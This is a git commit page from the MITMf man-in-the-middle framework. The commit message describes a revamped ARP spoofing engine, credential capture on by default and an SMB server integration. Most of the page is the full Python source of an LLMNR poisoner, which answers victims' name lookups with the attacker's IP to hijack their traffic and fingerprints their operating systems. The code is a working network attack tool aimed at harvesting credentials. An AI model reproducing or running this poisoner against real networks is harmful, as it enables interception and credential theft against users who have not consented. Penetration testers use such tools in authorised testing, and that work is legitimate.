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This is 1/2 of the work done... lot's of cool stuff!
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds. - Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all. - Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code) - The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2) - An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons: 1) Impacket is moving towards SMB2 support and is actively developed 2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file) 3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out) - Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!) - Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable. - POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use) - Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out) - Some plugins are missing because I'm currently re-writing them, will be added later - Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
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byt3bl33d3r
parent
663f38e732
commit
9712eed4a3
92 changed files with 6883 additions and 3349 deletions
187
core/responder/llmnr/LLMNRPoisoner.py
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187
core/responder/llmnr/LLMNRPoisoner.py
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#! /usr/bin/env python2.7
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import socket
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import threading
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import struct
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import logging
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from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
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from core.configwatcher import ConfigWatcher
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from core.responder.fingerprinter.Fingerprint import RunSmbFinger
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from core.responder.packet import Packet
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from core.responder.odict import OrderedDict
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from core.responder.common import *
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mitmf_logger = logging.getLogger("mitmf")
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class LLMNRPoisoner:
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def start(self, options, ourip):
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global args; args = options #For now a quick hack to make argparse's namespace object available to all
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global OURIP ; OURIP = ourip #and our ip address
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try:
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mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP))
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server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
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t = threading.Thread(name="LLMNR", target=server.serve_forever) #LLMNR
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t.setDaemon(True)
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t.start()
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except Exception, e:
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mitmf_logger.error("[LLMNRPoisoner] Error starting on port {}: {}:".format(5355, e))
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class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
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allow_reuse_address = 1
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def server_bind(self):
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MADDR = "224.0.0.252"
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self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
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self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
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Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP))
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UDPServer.server_bind(self)
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#LLMNR Answer packet.
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class LLMNRAns(Packet):
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fields = OrderedDict([
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("Tid", ""),
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("Flags", "\x80\x00"),
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("Question", "\x00\x01"),
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("AnswerRRS", "\x00\x01"),
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("AuthorityRRS", "\x00\x00"),
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("AdditionalRRS", "\x00\x00"),
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("QuestionNameLen", "\x09"),
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("QuestionName", ""),
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("QuestionNameNull", "\x00"),
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("Type", "\x00\x01"),
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("Class", "\x00\x01"),
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("AnswerNameLen", "\x09"),
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("AnswerName", ""),
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("AnswerNameNull", "\x00"),
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("Type1", "\x00\x01"),
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("Class1", "\x00\x01"),
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("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
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("IPLen", "\x00\x04"),
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("IP", "\x00\x00\x00\x00"),
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])
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def calculate(self):
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self.fields["IP"] = socket.inet_aton(OURIP)
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self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
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self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
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self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
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def Parse_LLMNR_Name(data):
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NameLen = struct.unpack('>B',data[12])[0]
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Name = data[13:13+NameLen]
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return Name
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# LLMNR Server class.
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class LLMNR(BaseRequestHandler):
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def handle(self):
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ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
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DontRespondTo = ResponderConfig['DontRespondTo']
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DontRespondToName = ResponderConfig['DontRespondToName']
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RespondTo = ResponderConfig['RespondTo']
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RespondToName = ResponderConfig['RespondToName']
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data, soc = self.request
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try:
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if data[2:4] == "\x00\x00":
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if Parse_IPV6_Addr(data):
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Name = Parse_LLMNR_Name(data)
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if args.analyze:
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if args.finger:
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
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except Exception:
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mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {}".format(self.client_address[0], Name))
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else:
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mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {}".format(self.client_address[0], Name))
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if DontRespondToSpecificHost(DontRespondTo):
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if RespondToIPScope(DontRespondTo, self.client_address[0]):
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return None
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if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
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return None
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if RespondToSpecificHost(RespondTo):
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if args.analyze == False:
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if RespondToIPScope(RespondTo, self.client_address[0]):
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if RespondToSpecificName(RespondToName) == False:
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buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
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buff.calculate()
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for x in range(1):
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soc.sendto(str(buff), self.client_address)
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#mitmf_logger.info(Message)
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mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0],Name))
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if args.finger:
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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#print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0])
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#print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1])
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mitmf_logger.info('[LLMNRPoisoner] OsVersion is:{}'.format(Finger[0]))
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mitmf_logger.info('[LLMNRPoisoner] ClientVersion is :{}'.format(Finger[1]))
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except Exception:
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mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
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pass
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if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
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buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
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buff.calculate()
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for x in range(1):
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soc.sendto(str(buff), self.client_address)
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mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0],Name))
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if args.finger:
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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#print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0])
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#print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1])
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mitmf_logger.info('[LLMNRPoisoner] OsVersion is:{}'.format(Finger[0]))
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mitmf_logger.info('[LLMNRPoisoner] ClientVersion is :{}'.format(Finger[1]))
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except Exception:
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mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
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pass
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if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
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if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
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buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
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buff.calculate()
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for x in range(1):
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soc.sendto(str(buff), self.client_address)
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mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0], Name))
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if args.finger:
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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#print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0])
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#print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1])
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mitmf_logger.info('[LLMNRPoisoner] OsVersion is: {}'.format(Finger[0]))
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mitmf_logger.info('[LLMNRPoisoner] ClientVersion is : {}'.format(Finger[1]))
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except Exception:
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mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
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pass
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if RespondToSpecificName(RespondToName) == False:
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buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
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buff.calculate()
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for x in range(1):
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soc.sendto(str(buff), self.client_address)
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mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0], Name))
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if args.finger:
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try:
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Finger = RunSmbFinger((self.client_address[0],445))
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mitmf_logger.info('[LLMNRPoisoner] OsVersion is: {}'.format(Finger[0]))
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mitmf_logger.info('[LLMNRPoisoner] ClientVersion is : {}'.format(Finger[1]))
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except Exception:
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mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
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pass
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else:
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pass
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else:
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pass
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except:
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raise
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0
core/responder/llmnr/__init__.py
Normal file
0
core/responder/llmnr/__init__.py
Normal file
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